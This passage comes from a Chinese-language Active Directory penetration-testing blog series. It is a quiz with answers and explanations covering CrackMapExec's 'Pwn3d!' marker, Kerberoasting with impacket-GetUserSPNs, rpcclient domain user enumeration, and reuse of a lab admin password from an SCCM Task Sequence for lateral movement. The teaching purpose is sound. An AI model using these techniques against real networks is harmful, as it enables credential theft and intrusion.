C. 帳戶已被鎖定
D. 該帳戶具有目標主機的本機管理員權限

答案:D

解析:CrackMapExec 工具在輸出中使用「Pwn3d!」標記來表示該憑證不僅驗證成功,而且該帳戶在目標主機上具有管理員權限(可以執行 PSExec、WMI 等遠端管理操作)。這個標記是滲透測試人員的重要指標,代表可以使用該憑證進行橫向移動或取得遠端 Shell。

第三題

下列哪個 Impacket 工具用於請求並匯出具有 SPN 的服務帳戶的 Kerberos TGS 票據雜湊?

A. impacket-GetNPUsers
B. impacket-GetUserSPNs
C. impacket-secretsdump
D. impacket-psexec

答案:B

解析impacket-GetUserSPNs 是專門用於執行 Kerberoasting 攻擊的工具。它會列舉網域中所有設定了服務主體名稱(SPN)的帳戶,並請求這些服務的 Kerberos TGS(Ticket Granting Service)票據。這些票據使用服務帳戶的密碼雜湊加密,可以離線破解。相對地,GetNPUsers 用於 AS-REP Roasting 攻擊,secretsdump 用於提取憑證,psexec 用於遠端執行。

第四題

在步驟 5.2.5 中使用 rpcclient 枚舉網域資訊時,下列哪個指令用於列出網域中的所有使用者帳戶?

A. enumdomgroups
B. querydominfo
C. enumdomusers
D. lsaenumsid

答案:C

解析:在 rpcclient 工具中,enumdomusers 指令專門用來列舉網域中所有的使用者帳戶及其相對識別碼(RID)。其他指令的功能為:enumdomgroups 列出網域群組、querydominfo 顯示網域基本資訊(如網域名稱、使用者總數等)、lsaenumsid 列出本機安全性授權資料庫中的安全性識別碼(SID)。

第五題

從 Task Sequence 中取得的本機管理員密碼「EP+xh7Rk6j90」,最有可能被用於下列哪種攻擊情境?

A. SQL Injection
B. Pass-the-Hash
C. 橫向移動到其他使用相同密碼的端點
D. DNS 投毒攻擊

答案:C

解析:SCCM 的 Task Sequence 中設定的本機管理員密碼通常會套用到所有透過該任務序列部署的電腦上。這意味著所有經由此 Task Sequence 安裝的系統,其本機 Administrator 帳戶都會使用相同的密碼。攻擊者可以利用這個密碼嘗試登入環境中的其他端點,實現橫向移動。這是 SCCM 環境中常見的安全風險,也是步驟 5.2.7 中測試的重點。


上一篇
AD 攻防實戰演練 Day 28:企業管理的雙面刃 - Microsoft SCCM/MECM 環境安裝與情資偵查
下一篇
AD 攻防實戰演練 Day 30:Microsoft SCCM/MECM 滲透實戰:從低權限到域管理員的完整攻擊鏈
系列文
資安這條路:AD 攻防實戰演練30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言